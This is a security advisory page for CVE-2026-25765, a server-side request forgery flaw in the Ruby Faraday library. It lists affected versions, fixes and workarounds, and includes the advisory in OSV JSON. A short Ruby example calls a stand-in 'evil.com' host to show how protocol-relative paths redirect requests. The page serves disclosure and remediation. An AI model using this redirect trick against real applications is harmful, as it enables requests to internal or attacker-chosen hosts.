CVE-2026-25765: Faraday Faraday Affected By SSRF Vulnerability
MODERATECVE-2026-25765 is a MODERATE (CVSS 5.8) faraday affected by ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Faraday libraries in the RubyGems ecosystem. The issue involves faraday affected by ssrf via protocol-relative url host override in build_exclusive_url. Remediation is available by upgrading affected packages to version 2.14.1, 1.10.5.
CVE-2026-25765 at a Glance
Security Impact
CVSS: 5.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N).
How to Fix CVE-2026-25765
To remediate this vulnerability, upgrade all affected Faraday dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade faraday to 2.14.1
Upgrade faraday to 1.10.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for faraday
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-25765, inspect your project dependencies for Faraday:
inspect dependencies for faraday
Analyze the terminal output to locate any version of Faraday in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.14.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Faraday, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-25765 Affected Faraday Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
faraday
|
RubyGems |
≥ 2.0.0
< 2.14.1
|
2.14.1
|
|
faraday
|
RubyGems |
≥ 1.0.0
< 1.10.5
|
1.10.5
|
References
Frequently Asked Questions
What is CVE-2026-25765?
Which Faraday versions are affected?
What version fixes CVE-2026-25765?
Is faraday affected?
What is the CVSS score of CVE-2026-25765?
What CWE is associated with CVE-2026-25765?
How can I check RubyGems dependencies for CVE-2026-25765?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-33mh-2634-fwr2",
"modified" : "2026-02-13T17:16:36Z",
"published" : "2026-02-09T20:37:05Z",
"aliases" : [ "CVE-2026-25765" ],
"summary" : "Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url",
"details" : "### Impact\n\n Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's\n `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,\n protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n that override the base URL's host/authority component.\n\n This means that if any application passes user-controlled input to Faraday's `get()`,\n `post()`, `build_url()`, or other request methods, an attacker can supply a\n protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n `/`, so protocol-relative URLs bypass it entirely.\n\n **Example:**\n ```ruby\n conn = Faraday.new(url: 'https://api.internal.com')\n conn.get('//evil.com/steal')\n # Request is sent to https://evil.com/steal instead of api.internal.com\n ```\n\n### Patches\n\n Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n Applications should validate and sanitize any user-controlled input before passing it to\n Faraday request methods. Specifically:\n\n - Reject or strip input that starts with // followed by a non-/ character\n - Use an allowlist of permitted path prefixes\n - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n Example validation:\n ```ruby\n def safe_path(user_input)\n raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n user_input\n end\n ```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "RubyGems",
"name" : "faraday"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0"
}, {
"fixed" : "2.14.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.14.0"
}
}, {
"package" : {
"ecosystem" : "RubyGems",
"name" : "faraday"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.0.0"
}, {
"fixed" : "1.10.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.10.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
}, {
"type" : "WEB",
"url" : "https://github.com/lostisland/faraday/pull/1569"
}, {
"type" : "WEB",
"url" : "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lostisland/faraday"
}, {
"type" : "WEB",
"url" : "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
}, {
"type" : "WEB",
"url" : "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
}, {
"type" : "WEB",
"url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
}, {
"type" : "WEB",
"url" : "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
}, {
"type" : "WEB",
"url" : "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-09T20:37:05Z",
"nvd_published_at" : "2026-02-09T21:15:49Z"
}
}